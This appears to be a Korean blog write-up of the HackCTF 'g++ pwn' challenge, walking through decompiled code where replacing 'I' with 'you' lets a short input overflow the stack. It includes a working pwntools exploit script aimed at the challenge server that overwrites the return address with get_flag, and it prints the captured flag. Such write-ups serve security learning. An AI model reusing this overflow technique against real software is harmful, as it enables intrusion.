[HackCTF / pwnable] g++ pwn

2019. 10. 8. 03:15Wargame & CTF/HackCTF

1
2
3
4
5
int __cdecl main(int argc, const char **argv, const char **envp)
{
  vuln();
  return 0;
}
cs


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int vuln()
{
  const char *v0; // eax
  char s; // [esp+1Ch] [ebp-3Ch]
  char v3; // [esp+3Ch] [ebp-1Ch]
  char v4; // [esp+40h] [ebp-18h]
  char v5; // [esp+47h] [ebp-11h]
  char v6; // [esp+48h] [ebp-10h]
  char v7; // [esp+4Fh] [ebp-9h]
 
  printf("Tell me something about yourself: ");
  fgets(&s, 32, edata);
  std::string::operator=(&input, &s);
  std::allocator<char>::allocator(&v5);
  std::string::string(&v4, "you"&v5);
  std::allocator<char>::allocator(&v7);
  std::string::string(&v6, "I"&v7);
  replace((std::string *)&v3);
  std::string::operator=(&input, &v3, &v6, &v4);
  std::string::~string((std::string *)&v3);
  std::string::~string((std::string *)&v6);
  std::allocator<char>::~allocator(&v7);
  std::string::~string((std::string *)&v4);
  std::allocator<char>::~allocator(&v5);
  v0 = (const char *)std::string::c_str((std::string *)&input);
  strcpy(&s, v0);
  return printf("So, %s\n"&s);
}
cs


s는 ebp-3c, s에 0x20개의 문자열을 받는다. 오버플로우가 불가능한것처럼 보인다.

밑에서 입력된 s에서 I를 찾아서 you로 바꾼다. 1글자 입력이 3글자가 된다.

0x3c+0x4는 64, "I"*21+"a"는 "you"*21+"a"가 되므로 64자가 된다.

그리고 10자가 남았으므로 4바이트 주소값은 넘겨줄 수 있다.

get_flag의 주소값을 넘겨주자.


ex.py


1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
 
= ELF("./gpwn")
#p = process("./gpwn")
= remote("ctf.j0n9hyun.xyz"3011)
 
payload = ""
payload += "I"*21
payload += "a"
payload += p32(e.symbols["get_flag"])
 
p.sendline(payload)
p.interactive()
cs


g++ pwn : HackCTF{It's_e4si3r_th4n_y0u_th1nk!}

'Wargame & CTF > HackCTF' 카테고리의 다른 글

[HackCTF / pwnable] Random Key  (0) 2019.10.08
[HackCTF / pwnable] 1996  (0) 2019.10.08
[HackCTF / pwnable] RTL_World  (0) 2019.10.08
[HackCTF / pwnable] Yes or no  (0) 2019.10.05
[HackCTF / pwnable] BOF_PIE  (0) 2019.10.05